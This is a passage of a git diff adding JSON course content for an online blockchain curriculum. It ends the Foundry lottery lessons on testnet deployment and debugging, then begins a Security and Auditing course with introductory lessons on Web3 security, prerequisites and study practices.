Not only does it save us from dire situations, but it also gives an assurance that our code is strong enough to perform in real-life scenarios.\n\nMakefile provides a great way to automate many of these testing processes and to make your life much easier. In future posts, we'll delve deeper into the power of Makefiles. For now, experiment with testing, and happy coding!\n", + "updates": [] + }, + { + "lessonId": "6cce2a3f-4ff2-467b-ad07-6e69500bdb7f", + "number": 34, + "slug": "the-demo", + "title": "Deploy the lottery on the testnet pt.2", + "description": "This lesson covers the deployment of a smart contract on the Sepolia testnet, including how to use a makefile for efficient deployment, verification, and interaction with the contract on Etherscan. It also discusses the role of Chainlink in the contract.", + "duration": 7, + "videoUrl": "02yuDQNRvW0202d6Kl1yG4Lu3DPzJKb25zBHFeFRS91kv8", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/34-the-demo/+page.md", + "markdownContent": "***\n\n## title: Testnet Demo... The Demo\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nBeing able to deploy smart contracts to a real testnet is a crucial skill for any blockchain developer. If you ever find yourself at a loss trying to deploy your contract, this comprehensive guide has got you covered. We will be deploying a contract onto network Sepolia, using a makefile that conveniently eliminates the need for running `source .env`. Ultimately, we will interact with our live contract directly on Etherscan!\n\n## The Deployment and Verification Process\n\nInitiate the deployment by using the `make deploy` code. The deployment will result in a series of logs being printed out, reassuring you about the success of the scripts. The transactions will then appear on-chain, marked by the statement `Execute. Completely successful.`.\n\n```bash\nmake deploy ARGs=\"--network sepolia\"\n```\n\n### Addressing Foundry\n\nAs of the time of writing, Foundry, a development tool for Substrate, has a known bug where it deploys libraries along with on-chain deployments.\n\n### Accessing the Contract on Sepolia\n\nThe second contract address on Sepolia can be accessed by pasting it on the given network. Once navigated to the contract, you should find it already verified.\n\n### Understanding Chainlink\n\nNavigating to VRF Chainlink Sepolia 1893, if you have already subscribed and funded, you will find your latest consumer already added. In our case, it was the raffle contract we had just launched.\n\nDon't forget: for the contract to work, ensure you have sufficient LINK in your deploying wallet!\n\n```bash\nVRF Chainlink Sepolia 1893\n```\n\n## Write More Interactions for Your Contract\n\nOnce the contract is deployed, new interactions can be written, examples being `enter lottery`, `wait for a winner`, etc. Ethereum's Etherscan allows for connecting and interacting directly with contracts on the platform.\n\nThis guide focuses on using Etherscan, but for those who prefer good ol' Badass, the `cast` command works perfectly fine too.\n\n### Coming Face-to-Face with Raffle\n\nUnder the \"write contract\" tab on Etherscan, connect to Web3 and navigate to the `enter raffle` command. Select `write contract` and enter the amount you'd like for the transaction.\n\nGo to the `read contract` to check the contract's current state. Here, you can view the `recent winner`, `players`, `raffle state`, `entrance fee`, amongst other variables.\n\n### Registering a New Upkeep with Chainlink\n\nCreate and register a new upkeep on Chainlink, either manually or programmatically. Connect your wallet and fill in the contract address. After entering the desired `gas limit` and `starting balance`, click on 'register'.\n\nThe reason we have to register again is because our raffle has a `check upkeep` and `perform upkeep`, which can be called by anyone provided the conditions are met. To have the Chainlink network automatically perform these functions without interaction, create a subscription with Chainlink's network.\n\nA subscription can be set up on-chain and would be added to the active drawing upon sufficient funding. The Chainlink VRF would kick off when `performupkeep` runs.\n\n### Checking the Recent Winner\n\nWhile waiting for the VRF response, head back to the contract on Etherscan. Click 'refresh', connect to Web3 again, and scroll down to find the `recent winner`.\n\n\n\nAlternatively, transactions can be sent via Cast, which can be added to our makefile. Use the `cast call` command for calls not needing transaction publication. For the `get recent winner` parameter, use the `cast call` command. Don't forget the RPC URL, which in our case, is the Sepolia RPC URL.\n\n```bash\ncast call --help\n```\n\n```bash\ncast call [Lottery Address]\n```\n\n```bash\nsource .env\n```\n\nWith the contract address copy-pasted, the result is zero-padded. By trimming off the excess zeroes, you can confirm that it is indeed your contract address. Congratulations, you won your own lottery!\n", + "updates": [] + }, + { + "lessonId": "b92cbae2-aed6-4176-9787-c66526feb836", + "number": 35, + "slug": "solidity-console-log-debug", + "title": "Implementing console log in your smart contract", + "description": "Focusing on debugging techniques in Solidity, this lesson teaches the implementation of console.log for debugging smart contracts. It highlights the importance of removing console logs before deploying to mainnet or testnet to save Ether and maintain efficiency.", + "duration": 2, + "videoUrl": "AY8WqmL39iYSW01Ec502of37hbbDIxxCUMz5U3hrev7uw", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/35-console-log-debug/+page.md", + "markdownContent": "***\n\n## title: Console.log Debugging\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nTechnology is not always without complications. Bugs and glitches are common occurrences in the field of program writing. But if there is a problem, then a solution exists. Especially when working with Solidity in the Ethereum blockchain, it's critical to have a firm grip on debugging techniques. Today, I'm going to walk you through an additional tool you can use when debugging Solidity projects. From showing stack traces to logging console messages, we're going to cover it all. Buckle up!\n\n## The Power of Forge\n\nThe key lies in a command we ran during our tests - `forge test -vv` or `forge test -vvv`. The beauty of this command lies in its ability to show us the *stack trace* of our output.\n\nWhen we write our tests, one way we've handled debugging in the past is by utilizing the `console` function in our contracts. For instance, let's consider a Raffle function we'd set up.\n\n```js\nimport { console } from \"forge-std/console.sol\";\n```\n\nWith this line of code, we import the `console` bit right at the start of our Raffle. Then, we proceed to apply the `console.log` command to any function we please, as demonstrated below:\n\n```js\nconsole.log(\"Hi\");\n```\n\nIn any test, where we call Enter Raffle, the console will log the message we've inserted.\n\n## A Crucial Word of Warning\n\n\n\nHere's a heads up: always ensure to remove these console log commands before deploying to a mainnet or a testnet. Here's why:\n\n\n\nIn other words, remember to delete the console actions post-debugging. While it might seem trivial, adhering to this practice could save you a considerable amount of Ether.\n\n## Conclusion\n\nAnd there you have it - an extra instrument in your programming toolkit. Concealed within the tangle of coding constructs and Solidity conventions, the `console.log` command could make your debugging journey smoother.\n\nSo the next time you grind through your lines of Solidity code, remember that the console's got your back! It might just be the help that you needed all along. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "546efd1b-ad91-41e9-b7ab-641fb7c49ff9", + "number": 36, + "slug": "forge-test-debug", + "title": "Debug using forge test", + "description": "Introducing the Forge Debug Tool, this lesson explains how to use the debug functionality in Forge for in-depth analysis and step-through of smart contract code. It emphasizes the tool's utility in understanding specific elements in code for advanced debugging.", + "duration": 2, + "videoUrl": "cgunT7gzgwDFjuRu00E400F4MCR9ZFI6i3Tm0182E41978", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/36-forge-test-debug/+page.md", + "markdownContent": "***\n\n## title: Forge Test --Debug\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nIn the wide universe of tools available for debugging code in Opcodes, there's one that's proven to be both robust and in-depth. Say hello to the Forge Debug Tool - a dynamic tool designed to make your experience with Opcodes more hands-on and lucid. While it may seem intimidating at first, in this post, we're going to gently introduce you to this tool and its more granular aspects.\n\n## What Makes the Forge Debug Tool Stand Out?\n\nLet's get the ball rolling by showing you how it operates so you can understand why you might want to use it.\n\nInstead of running the conventional `forge test`, you'll have to run `forge test debug`, followed by the function you intend to debug. If executed correctly, this command will usher you into an interactive step-through of your code.\n\n```bash\n$ forge test --debug testRaffleRecordsPlayerWhenTheyEnter\n```\n\nOnce you're in, you gain access to a live playthrough of the specific Opcodes of your contract. Much like taking an exploratory dive into the inner workings of your code. This prompt should result in the help section popping up at the screen's lower part. It's a bit like calling for backup; the help section provides clarifications about the different features of the debug tool.\n\n## Diving Deeper: A Tug of War between Opcodes\n\nAfter initializing the help option, the real fun begins. When you type `J`, you'll be able to navigate through your function Opcode by Opcode.\n\n```bash\n$ J\n```\n\n\n\nNow, treading through your code like this might seem like an endeavor fit for a painstakingly detailed person. That's because it is. Inspecting your code this way offers a highly granular and detailed way of debugging.\n\n\n\nThe Forge Debug Tool puts the crystalline probe of understanding into your hands, allowing you to pinpoint specific elements in your code. So, while this method seems tedious, it’s incredibly helpful when the code's integrity is of utmost importance.\n\n## The Caveat: Timing Matters.\n\nSo, should you begin your coding journey with this method? Probably not. But, trust that as you get more advanced, the necessity for something like this will start to reveal itself. In those times when understanding why code behaves a certain way feels like cracking a code, this tool will come in handy.\n\nHowever, remember that there is no need to go overboard with it in the early learning stages. It's an advanced utility that's designed to aid advanced problems, and during your course's initial stages, it's best to stick to the basics.\n\n## Towards the Future: Assembly and Security Course\n\nThis blog post was meant to be an introduction to the Forge Debug Tool and won't dive into the details. You don't have to be a pro with this tool now, but being aware of its existence and what it can do for your code is essential.\n\nBy the way, there's also some exciting news for those passionate about assembly and security in coding. We are currently working on crafting an assembly and security course for you. This forthcoming course will further expand on the Forge Debug Tool and various other essential aspects of learning advanced programming languages.\n\nSo, keep an eye out!\n\n## Wrapping Up\n\nDespite being an advanced tool, the Forge Debug Tool can be an invaluable commodity as your understanding of Opcodes evolves and becomes more nuanced. Used correctly and at the right time, it can transform the tedious debugging phase into a phase of meaningful learning. Don't be afraid to explore it, but do so when the time is right!\n", + "updates": [] + }, + { + "lessonId": "3349af70-4777-4e65-9af8-ad603cae3313", + "number": 37, + "slug": "recap", + "title": "Section recap", + "description": "A comprehensive recap of creating a provably fair lottery on the blockchain. The lesson revisits key components like custom errors, enums, private variables, constructor verbosity, raffle and Chainlink automation, and deployment on testnet, culminating in a complete overview of the project.", + "duration": 6, + "videoUrl": "P80000MZIOiW1abrGWRSFI5U00dfYPcKOATjnrDO159016U", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/37-recap/+page.md", + "markdownContent": "***\n\n## title: Recap\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n# Building a Provably Fair Lottery on the Blockchain\n\nToday, let's do a recap of a project we recently accomplished — creating a provably fair lottery using blockchain technology! This might sound complex (and it is!), but it's exciting news. Let's understand why.\n\nEver thought of why you should use any other lottery system that's not blockchain-based? To be honest, the answer is a definite 'No.' The most compelling reason being that no other lottery provides you with the same level of randomness and transparency as blockchain does.\n\nSo, buckle up! Let's dive into this tutorial and take apart every component of our blockchain lottery contract.\n\n## Custom Errors, Enums and Private Variables\n\nIn our lottery contract, we kicked things off with some custom gas-efficient errors, including errors that accept multiple parameters. Part of the code we utilized was the type declarations. We took advantage of enums, assigning them different values and wrapping them as unsigned integers.\n\nOne essential part of our lottery contract was our beautiful, private state variables—part of our strong privacy practice. Additionally, we created getters for any variables we wanted to expose.\n\n## Verbose Constructor\n\nOne particular feature is that the constructor of our contract is verbose. By adjusting the deployment parameters accordingly, we are able to deploy this contract on any chain, ensuring flawless functionality. This holds true whether we're forking a testnet or a mainnet. The only thing required to accommodate a different network is a distinct network configuration.\n\n## Raffle and Chainlink Automation\n\nWe designed a raffle that emits a log, streamlining migrations and frontend indexing. We also learned about and integrated the Chainlink automation to automatically call our smart contracts.\n\nThe automation upkeep of our smart contracts led to an amazing result—it ran once because the perform upkeep requirement was met.\n\n## Smart Contract Execution and Testing\n\nOnce triggered, the Chainlink network replies by calling the `fulfill random words` function, which selects our random winner. We got a good look into the CEI - checks effects interactions pattern, where we implement checks, conduct effects and eventually process our external interactions outside of the smart contracts.\n\nWe provided several getter functions. Surprisingly, the codebase for this project is only about 200 lines long, but it felt much longer because of the advanced scripting and deployment methods we had to learn.\n\nWe deployed our contract using a helper configuration file. This ensured that this deployment will function flawlessly on whatever chain it's deployed. To bridge interactions with actual blockchain, while testing, we deployed mock contracts.\n\n## Broadcasting and Interaction via Command Line\n\nOnce the mockup and initial stage were completed, we began broadcasting and deploying our Raffle. Subsequently, we added our consumer to the VRF programmatically.\n\nAdditionally, we devised an interactions script to make it easier for us to run commands for adding consumers, creating, or funding subscriptions from our command line. This is way more straightforward than having to interact with cast.\n\n## Testing and Debugging\n\nDuring the process, we wrote comprehensive unit tests, though we intentionally left some areas that you can explore to level up your skill sets. For example, we tested with mock Chainlink tokens and learned some exciting testing techniques like capturing the event outputs to reuse later in our tests.\n\nWe also worked a lot with modifiers and expected a revert with this `abi encoder` thing. Understanding that will be a task for later.\n\nFinally, we deployed this lottery on an actual testnet chain, funding our automation subscription and our VRF subscription with Link. We observed chainlink nodes handling all this with no issues.\n\n## Recap\n\nThis has been a massive project, filled with learnings and hands-on coding experience. If you've followed through, congratulate yourself. This is the perfect time to take a break, soak up some sun, or binge on your favorite treats.\n\nRemember to post about this amazing project on Twitter, link it to your GitHub and give yourself a pat on the back. Progressing this far is a significant achievement.\n\nAs we advance through this course, you can broaden your technical knowledge related to the Web3 ecosystem. I look forward to your being a part of the remaining exciting lessons in this course. Till then, happy coding!\n\n## Congratulations\n\nYou've completed the course! You're now ready to build your own blockchain applications. Now you are ready to delve into advanced chapters of this course. Take a break, and then come back to learn more about the Web3 ecosystem.\n", + "updates": [] + } + ] + } + ] +} \ No newline at end of file diff --git a/content/courses/security.json b/content/courses/security.json new file mode 100644 index 00000000..206c570e --- /dev/null +++ b/content/courses/security.json @@ -0,0 +1,3659 @@ +{ + "courseId": "aca7cb85-ea1f-4fd3-9bc6-fc39f4609a0a", + "title": "Security and Auditing", + "slug": "security", + "folderName": "security", + "lastUpdated": "Mon Jan 15 2024 12:24:47 GMT-0500 (Eastern Standard Time)", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/f_auto,q_auto/v1/updraft/courses/rdmkzepzrx9b3sf0t3ko", + "description": "Start your career as a smart contract auditor! Learn the best practices for writing secure and optimized smart contracts. Explore techniques like fuzzing, invariant testing, formal verification, and more to identify bugs and protect web3 protocols.", + "path": "content/learning-paths/foundations.json", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/security-and-auditing-full-course-s23", + "overview": { + "learnings": "Smart contracts invariant and fuzz testing, Stateless And Stateful Fuzzing Practice, Upgreadable smart contracts, smart contracts auditing, Aderyn, Slither, Manual review, Smart contracts testing ", + "preRequisites": [ + "Blockchain Basics", + "Solidity fundamentals", + "Foundry fundamentals", + "Advanced Foundry" + ] + }, + "duration": 24, + "authors": [ + { + "author": "content/authors/patrick-collins.json" + }, + { + "author": "content/authors/tincho-abbate.json" + }, + { + "author": "content/authors/josselin-feist.json" + }, + { + "author": "content/authors/owen-thurm.json" + }, + { + "author": "content/authors/andy-li.json" + }, + { + "author": "content/authors/johnny-time.json" + }, + { + "author": "content/authors/pashov.json" + }, + { + "author": "content/authors/juliette-chevalier.json" + }, + { + "author": "content/authors/alex-roan.json" + } + ], + "sections": [ + { + "number": 0, +"sectionId": "bc71e716-ae9a-45d5-8f06-75bd621b4e98", + "title": "Course Introduction", + "slug": "smart-contract-security-introduction", + "folderName": "0-introduction", + "lessons": [ + { + "lessonId": "5d21322f-ee36-4445-868f-cd39113e7e9b", + "number": 1, + "title": "Trailer", + "slug": "trailer", + "folderName": "1-trailer", + "description": "", + "duration": 1, + "videoUrl": "j4JboXum46f3HSinGWmJcVRmxvrb2tjrvelQopMbl4E", + "rawMarkdownUrl": "/routes/security/0-introduction/1-trailer/+page.md", + "markdownContent": "---\ntitle: Security Course Trailer\n---\n\n_Follow along with this video_\n\n\n\n---\n\n---\n\n## Ultimate Smart Contract Security, Assembly, and DeFi Curriculum\n\n### Introduction\n\n**Welcome to the ultimate Smart Contract Security, Assembly, and DeFi Curriculum.** This course is designed to provide the most advanced and comprehensive training in EVM assembly, security auditing, and DeFi (Decentralized Finance).\n\n### Course Overview\n\n- **Target Audience:** This course is tailored for individuals seeking deep insights and extensive knowledge in smart contract security, assembly language in EVM (Ethereum Virtual Machine), and decentralized finance applications.\n- **Course Structure:** The curriculum is structured to cover the intricacies of security auditing, the fundamentals and advanced concepts of EVM assembly, and critical aspects of DeFi.\n\n### Objectives\n\n1. **Deep Understanding of Smart Contract Security:** Gain an in-depth knowledge of the security aspects vital for smart contracts in the blockchain ecosystem.\n2. **Proficiency in EVM Assembly:** Develop a solid understanding and hands-on experience with EVM assembly language, crucial for advanced blockchain development.\n3. **Mastery of DeFi Concepts:** Explore and master the concepts and applications of decentralized finance, an emerging and significant sector in the blockchain world.\n\n### Expectations\n\n- **Commitment and Readiness:** The course demands a high level of commitment and is intended for individuals who are ready to dive deep into the complex world of blockchain technology.\n- **Advanced Level:** This is not an introductory course. It is expected that participants already have a foundational understanding of blockchain and programming concepts.\n\n---\n\n**Are you ready to embark on this journey and expand your knowledge in smart contract security, EVM assembly, and DeFi?** Let's get started! 🚀\n\n---\n", + "updates": [] + }, + { + "lessonId": "f7a230be-cc9c-48d4-ba18-bc5b228fb249", + "number": 2, + "title": "Welcome to smart contracts security", + "slug": "welcome-smart-contracts-security", + "folderName": "2-welcome", + "description": "Explore the future of smart contract security in this course. Learn from experts and learn advanced smart contract auditing and research techniques.", + "duration": 5, + "videoUrl": "7IwS00CgjQhzlsi6pyfGFY8bRLbG00WmACbjQhyF02zh7M", + "rawMarkdownUrl": "/routes/security/0-introduction/2-welcome/+page.md", + "markdownContent": "---\ntitle: Welcome to the ultimate Solidity Course\n---\n\n_Follow along with this video_\n\n---\n\n## The Future of Web3: A focus on Security\n\nWelcome to the future of Web3 security; welcome to what is possibly the most comprehensive course on this subject ever created! As smart contract developers continue to bloom, it becomes imperative to ensure that the security scene keeps up. That’s the core focus of this guide - to level up the game and ensure a safer environment in the Web3 space.\n\n> _\"Security is one of the most important things to unlocking the future of Web3.\"_\n\nWith multiple detailed courses delivered in the past, dedicated to helping novice and intermediate smart contract developers enhance their skills. The accompanying study materials have garnered over 5.5 million views, making them the most-watched smart contract development courses on the planet. Thousands of budding developers have thus started their Web3 journey, equipped with the right knowledge and skills. They are now activated and productive developers in the Web3 space.\n\nThis guide, however, is not for the newcomers. It's an advanced course aimed at those familiar with smart contracts and comfortable with terms like _storage_, _self-destruct_, _fallback functions_, and _ERC20s_. A refresher will be offered at the beginning, but the primary focus will be to provide learners with intensive training in smart contract auditing and research.\n\n## Expert Opinions Matter\n\nIt's always enriching to learn from the best, and this guide takes care of that too. Featuring guest lecturers who are renowned experts in smart contract development:\n\n1. Josselin from Trail of Bits\n2. Owen from Guardian Audience\n3. Andy from Sigma Prime\n4. Johnny Time from Gingersec\n5. Pashov, legendary security researcher.\n6. Hans, one of the top competitive auditors.\n7. Tincho, the former lead auditor at Openzeppelin.\n\nWith these experts by your side, not only will you gain in-depth insights, but also get to explore extensive and carefully curated code samples. A special shout-out to Tincho, who has been actively supporting the development and auditing of the codes that will be discussed in detail.\n\n## Mastering The Skills: Developer to Researcher\n\nPeople planning to take up this course should have a basic understanding of blockchain basics, solidity fundamentals, and working with a smart contract framework such as Hardhat or Foundry. We will primarily focus on Foundry in this guide, but the skills learned can easily be transferred to other frameworks as well.\n\nThe course is not just for auditors; it is also aimed at training security researchers. Because who better to explore and learn about new attacks and analyze possible advances in smart contract technologies than a researcher?\n\nThe [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23) associated with the course offers a detailed curriculum and additional resources. If you are already familiar with certain sections, feel free to skip directly to the ones that you need help with or wish to learn more about.\n\n## A Peek into the Future\n\nWe want you to learn effectively, and that's where Cyfrin Updraft comes into play. It's a tool developed to HyperCharge your learning experience and help you grasp things faster. It’s free to sign up for those interested.\n\nYou are perfectly up to speed with the prerequisites if you have already taken the Foundry full course. Access more resources to get up to speed in the GitHub repo associated with the post.\n\n## About the Author\n\nMy name is Patrick Collins, and I am a smart contract developer, educator, security researcher, co-founder of Cyfrin Audits. As an absolute lover of Web3 and smart contract development, I believe that the ability to do fantastic things rests within this sphere. I delight in fueling driven individuals with the knowledge to become productive and start doing amazing things.\n\nArmed with unique insights from top competitive auditors like Hans, independent auditors like Pashov, and seasoned security veterans like Tincho, this blog endeavors to jump-start your security and auditing career. It encapsulates everything learned so far and aims to equip you with the right knowledge to become a positive force in the smart contract security auditing and safety space.\n\nLet's get Froggy. 🐸\n", + "updates": [] + }, + { + "lessonId": "1e19c090-66e6-41ac-a4af-804f32a4c0ff", + "number": 3, + "title": "Prerequisites", + "slug": "prerequisites", + "folderName": "3-prerequisites", + "description": "Find out what prerequisites are required for this course to ensure you're well-prepared for the upcoming lessons.", + "duration": 3, + "videoUrl": "SZWWX8nzn1GMgAtt5Tml3y02mPLVI466Zpp5GDOaMrOA", + "rawMarkdownUrl": "/routes/security/0-introduction/3-prerequisites/+page.md", + "markdownContent": "---\ntitle: Pre-requisites\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## Pre-requisites for the Smart Contract Security Course\n\n### Introduction\n\nThis course is **not** for beginners. We'll be covering advanced security and DeFi topics in this course and in order to get the most out of it you will _need_ to have a foundation to build upon.\n\n### Necessary Background Knowledge\n\n1. **Blockchain Basics:** A fundamental understanding of blockchain technology is essential.\n2. **Solidity Fundamentals:** Proficiency in Solidity, the primary programming language for writing smart contracts.\n3. **Smart Contract Framework Experience:** Familiarity with a smart contract framework like Hardhat or Foundry is crucial, with a preference for Foundry, as it is the main tool used in this course.\n4. **Key Terms and Concepts:** Terms like storage, self-destruct, fallback functions, and ERC20s should be familiar.\n\n### Course Expectations\n\n- **Level of Skill:** The course assumes a certain level of skill and will only provide a brief refresher at the beginning.\n- **For Auditors and Researchers:** If you have experience in security or auditing, this course will enhance your skills, focusing on not just auditing but also security research and building those skills and habits to make you successful in the space.\n\n### Additional Resources\n\n- **Foundry Full Course:** Our Foundry Full Course will prepare you with all the skills you need to be successful here.\n - [Foundry Fundamentals](https://updraft.cyfrin.io/courses/foundry)\n - [Advanced Foundry](https://updraft.cyfrin.io/courses/advanced-foundry)\n- **GitHub Repository:** Additional resources to help get up to speed are available in the course's [GitHub repository](https://github.com/Cyfrin/security-and-auditing-full-course-s23).\n\n### Course Philosophy and Goal\n\n- **Building a Strong Foundation:** The course aims to provide a solid base in smart contract security.\n- **Empowerment:** It focuses on empowering developers and researchers to contribute significantly to the Web3 space.\n- **Importance of Security:** Emphasizes the crucial role of security in the future of Web3.\n\n---\n\n**Are you ready to build a strong foundation in smart contract security and contribute to the future of Web3?** Let's embark on this journey together!\n\n---\n", + "updates": [] + }, + { + "lessonId": "bccddc5e-3f92-4f8f-9606-01566523e6a5", + "number": 4, + "title": "Best Practices", + "slug": "best-practices", + "folderName": "4-best-practices", + "description": "Learn about best practices in Web 3.0 security to ensure safe and efficient smart contract development.", + "duration": 5, + "videoUrl": "S5VAXDa01KuOWZy02zhKWM4jwp02kldzp3Qjjk01IR9mwes", + "rawMarkdownUrl": "/routes/security/0-introduction/4-best-practices/+page.md", + "markdownContent": "---\ntitle: Best Practices\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## Best Practices\n\nWelcome to our Smart Contract Security course! I'm super excited to guide you through this journey. Let’s make sure you get the absolute best out of it.\n\nEssential Resources:\n\n- Cyfrin Updraft - If you're reading this, you're already here. All the most up to date corrections, content and updates will be available here, as accessible as ever and as part of a community eager to help.\n- GitHub Repo - The [Security and Auditing Full Course](https://github.com/Cyfrin/security-and-auditing-full-course-s23) repo is going to be your bible throughout this course. It is packed with all the code and references you need to succeed.\n\nNow, let's talk about how you can really get into the groove of things:\n\n- **Code Along**: Trust me, coding along with me during the lessons will make things stick way better. Have the video up along with your IDE of choice and follow along. Actually going through these motions are what will commit them to memory.\n- **Join the Chat on GitHub**: Got questions? Want to chat with others? Head over to our [GitHub Discussions](https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions) tab. It's a great spot to talk things out.\n- **Stay Up-to-Date**: Remember, the world of coding changes fast. Keep an eye on Cyfrin Updraft for the latest and greatest in course content.\n- **Dive into the Community** - We have a [Discord](https://discord.gg/cyfrin) server that is great for networking with fellow students and being involved in the community. Join us and share your successes and help others! To go far, we go together!\n\nAbout your learning pace – everyone's different, right? So:\n\n- **Take Breaks**: They’re not just okay, they’re necessary! Your brain will thank you.\n- **Control the Tempo**: Feel free to speed up or slow down the videos. Video playback settings are available to control the pace.\n- **Keep Track of Your Journey**: Use those timestamps in our [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23) to bookmark your progress.\n- **Jump Around**: The course is set up so you can hop between sections as you like. Reflect on each lesson to really make it stick.\n\nAnd don’t forget, you’re not alone in this:\n\n- **Connect with the Community**: There are awesome places like [Ethereum Stack Exchange](https://ethereum.stackexchange.com/) and various decentralized Q&A forums, not to mention GitHub, for some solid discussion and collaboration.\n- **Learn Together**: The blockchain and smart contract space is all about teamwork and sharing knowledge. So, getting involved with others will only boost your learning.\n\nAlright, ready to jump in? Just follow these tips, and you'll be navigating through the Smart Contract Security course like a pro. Let’s get started! 🚀👩‍💻👨‍💻\n", + "updates": [] + }, + { + "lessonId": "96c362b5-9aee-4a51-a686-de476257a351", + "number": 5, + "title": "Current state of web3 security", + "slug": "current-state-of-web3-security", + "folderName": "5-current-state", + "description": "Stay up-to-date with the current state of Web3 security and understand the challenges and advancements in this field.", + "duration": 7, + "videoUrl": "uQc2m7WqBFujlEYutmhSLcgVBTm0201v8XUF02oyN7hAKY", + "rawMarkdownUrl": "/routes/security/0-introduction/5-current-state/+page.md", + "markdownContent": "---\ntitle: The current state of web3 security\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## The Current State of Web3 Security: A Crucial Call to Action!\n\nThe current state of Web3 security is pretty objectively terrible. Let's look at where we're at and what needs to be done to improve security in the industry.\n\n### A Shocking Reality: Billions Lost in Hacks\n\n- **Billion-Dollar Troubles:** Did you know in 2022 alone, a jaw-dropping $3.1 billion was stolen in crypto hacks? And 2023 isn't looking much better. It's a call to arms for all of us in the Web3 space!\n- **DeFi's Dilemma:** Imagine this - about 7% of DeFi's total value is getting swiped by hackers. That's like saying, \"Hey, deposit your money here, but there's a scary chance it might vanish!\"\n\n### Attack Patterns: The Usual Suspects\n\n**Top Threats:**\n\n- Price oracle manipulation\n- reward manipulation\n- stolen private keys\n\nThese represent only a few of the common attack vectors we see lately. Some vulnerabilities have been around for years and _still_ people are making these mistakes - I'm looking at you _reentrancy_. There's a clear lack of best practices and we need to push back!\n\nThere's an amazing newsletter, every serious security researcher should sign up for called [Block Threat Intelligence](https://newsletter.blockthreat.io/) by Peter Kacherginsky.\n\nJust recently (as of October, 2023), we've seen multi-million dollar hacks, just in the last couple months.\n\n### The Big Picture: How do we move forward?\n\n- **Mainstream Hesitation:** With all these risks, no wonder big financial players are tiptoeing around Web3. It's incumbent upon us to make this space safer for mainstream adoption. How do we do accomplish this?\n- **Reducing the Risk:** It's simple - fewer hacks, more trust. More security focused education, fewer hacks.\n\n### The Bright Side: The future of Web3 Security\n\nSecurity in Web3 is improving every day.\n\n1. More and more people are moving into the security space in Web3. More auditors, more experts, more...safe!\n2. Education is improving in Web3 Security and Web3 as a whole. People are more informed of best practices and what to watch out for\n3. Tooling is improving - with AI and constantly developments in static analysis and vulnerability aggregation - we've never been more equipped to improve security in the space. [Solodit](https://solodit.xyz/) in particular is a tool we'll come back to again and again in this course.\n\n**Protocols Playing It Safe:** More and more Web3 protocols are investing in security. They're auditing their code, they're opening bug bounties for post deployment coverage, they're finally realizing that spending $1 Million on security now, is worth saving $100 Million in being hacked.\n\nWe also have an increase of pre-deployment experts like:\n\n- Cyfrin\n- Trail of Bits\n- OpenZeppelin\n\nCompetitive audit platforms ([CodeHawks](https://www.codehawks.com/)), independent security researchers like ([Pashov](https://twitter.com/pashovkrum)) and a greater security focus all come together to make me optimistic about the future of Web3 Security.\n\n### Yet, There's More to Do: Our Collective Mission\n\n- **Centralized Technology** is a big problem. Private keys being compromised, or offchain centralizing are regular vulnerabilities seen in the space.\n- **Lack of Post Deployment Practices** is something we'll cover later in the course. But needless to say, active monitoring practices and emergency triage in Web3 leave much to be desired. Few even leverage bug bounties to incentivize ongoing security on their protocol post launch.\n- **Not Following Best Practices**\n- **A Disconnect** seems to exist between the industry and security professionals. Audit(security review) != 100% Safe. If no one is reading the security reports, no one is any safer.\n\n### Wrapping Up: Your Role in Shaping Web3's Destiny\n\nThis isn't just a course. It's a mission. Together, we can transform Web3 into a fortress of trust and innovation. Keep going for some exercises to sharpen your skills.\n", + "updates": [] + }, + { + "lessonId": "6407d102-4af4-439f-b6cf-571a615d14dd", + "number": 6, + "title": "Exercises", + "slug": "exercises", + "folderName": "6-exercises", + "description": "Prepare for practical exercises that will help you apply your knowledge and skills gained throughout the course.", + "duration": 4, + "videoUrl": "3CDs300T02oHqjuR1WnIP4vxSxqHDRt3f1chsH5BYNccw", + "rawMarkdownUrl": "/routes/security/0-introduction/6-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video_\n\n\n\n---\n\n### Section 0: Excercises\n\nThe first exercise is important. This is **just for you**. This isn't meant to be a motivation to share with others, or chat about publicly, this is what inspired you to take the first step and what will continue to inspire you to take the next.\n\n_This is for you._\n\nMake it as long and detailed as possible. Pour your emotion into defining why you want this. Don't bullsh\\*t yourself. There'll be opportunities to shout your accomplishments loudly - but this is just for you.\n\n---\n\n🎯 Exercise: `Write yourself a message about why you want this`\n\nThis will be important for when things get hard\nIs it money? Save web3? Become someone?\nWrite down as many reasons as possible.\n\nSection 0 NFT Challenge 👀\n\n[Welcome! (Arb)](https://arbiscan.io/address/0xf923431da74ecc873c4d641fbdfa2564baafca9f#code)\n\n[Welcome! (Sepolia)](https://sepolia.etherscan.io/address/0x39338138414df90ec67dc2ee046ab78bcd4f56d9)\n", + "updates": [] + } + ] + }, + { + "number": 1, + "sectionId": "7918b334-ee76-4134-a88b-86f30ba20f98", + "title": "Review", + "slug": "review", + "folderName": "1-review", + "lessons": [ + { + "lessonId": "8a95ea78-0301-4dc3-814a-36699ab23b05", + "number": 1, + "title": "Tooling requisites", + "slug": "tooling-requisites", + "folderName": "1-tooling-requisites", + "description": "This lesson provides an overview of the essential tools required for Solidity and Smart Contract development. It includes a guide to text editors like Visual Studio Code and VSCodium, and an introduction to frameworks such as Foundry, alongside compatibility tips for different operating systems. It also highlights the importance of AI tools like Find and ChatGPT in the development process.", + "duration": 4, + "videoUrl": "u402E99ThbDHbSFBQiboYBRMzY992t3PA00yxf4qXuqf8", + "rawMarkdownUrl": "/routes/security/1-review/1-tooling-requisites/+page.md", + "markdownContent": "---\ntitle: Tooling 